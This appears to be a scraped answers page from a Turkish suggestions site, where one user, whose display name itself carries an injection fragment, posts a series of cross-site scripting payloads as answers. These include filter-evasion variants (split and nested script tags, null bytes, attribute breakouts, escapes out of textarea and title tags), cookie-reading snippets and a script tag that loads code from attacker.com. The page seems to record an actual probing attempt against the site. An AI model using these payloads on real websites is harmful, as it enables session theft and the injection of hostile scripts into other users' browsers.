logo
ÖnerilerŞehirlerKonularKullanıcılar

Cevaplar

Murat13'><' Soner Alemdar avatar

<script>alert(1)</script>

0
Murat13'><' Soner Alemdar avatar

" onfocus="alert(1)" autofocus="

0
Murat13'><' Soner Alemdar avatar

onfocus='alert(1)' autofocus=

0
Murat13'><' Soner Alemdar avatar

" onfocus="alert(1)" autofocus="

0
Murat13'><' Soner Alemdar avatar

<!-- Nested script tag breaks naive regex --> <scr<script>ipt>alert(1)</scr</script>ipt> <!-- HTML comment inside tag (IE) --> <img src=x onerror=alert(1) <!-- --> <!-- Unknown attribute (ignored by browser) --> <script/xss>alert(1)</script> <!-- Null byte in tag name (some parsers ignore it) --> <scri\x00pt>alert(1)</scri\x00pt> <!-- Tab in tag name --> <scri pt>alert(1)</scri pt> <!-- Newline in tag name --> <scri pt>alert(1)</scri pt> <!-- Extra < inside tag (some parsers) --> <<script>alert(1)</script> <!-- Unclosed tags that still execute --> <script>alert(1)// <!-- Fake closing tag --> </textarea><script>alert(1)</script> </title><script>alert(1)</script> </style><script>alert(1)</script> </noscript><script>alert(1)</script>

0
Murat13'><' Soner Alemdar avatar

// confirm() — shows OK/Cancel dialog <script>confirm(1)</script> // prompt() — shows input dialog <script>prompt(1)</script> // console.log() — silent, check browser console <script>console.log(document.cookie)</script> // print() — opens print dialog (noisy but visible) <script>print()</script> // debugger — pauses DevTools if open <script>debugger</script> // throw — visible in console as uncaught error <script>throw 1</script> // Using window object <script>window['alert'](1)</script> // Using top <script>top['alert'](1)</script>

0
Murat13'><' Soner Alemdar avatar

<!-- Standard script tag --> <script>alert(1)</script> <!-- With domain in alert for proof-of-concept --> <script>alert(document.domain)</script> <!-- Cookie theft proof-of-concept --> <script>alert(document.cookie)</script> <!-- Script with src — load external JS --> <script src=https://attacker.com/xss.js></script> <!-- With type attribute --> <script type="text/javascript">alert(1)</script> <!-- Newline in script tag --> <script> alert(1) </script> <!-- Multiple statements --> <script>var x=1;alert(x)</script> <!-- Using window.alert --> <script>window.alert(1)</script> <!-- With character reference --> <script>alert(1)</script> <!-- IIFE (Immediately Invoked Function Expression) --> <script>(function(){alert(1)})()</script> <!-- Arrow function --> <script>(() => alert(1))()</script>

0
Murat13'><' Soner Alemdar avatar

<script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script>

0
Murat13'><' Soner Alemdar avatar

<script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script>

0
Murat13'><' Soner Alemdar avatar

<script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script>

0
Murat13'><' Soner Alemdar avatar

<script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script> <script>alert(1)</script>

0

Bu öneri hakkında söyleyecek bir şeyin mi var? Kayıt ol ya da Giriş Yap.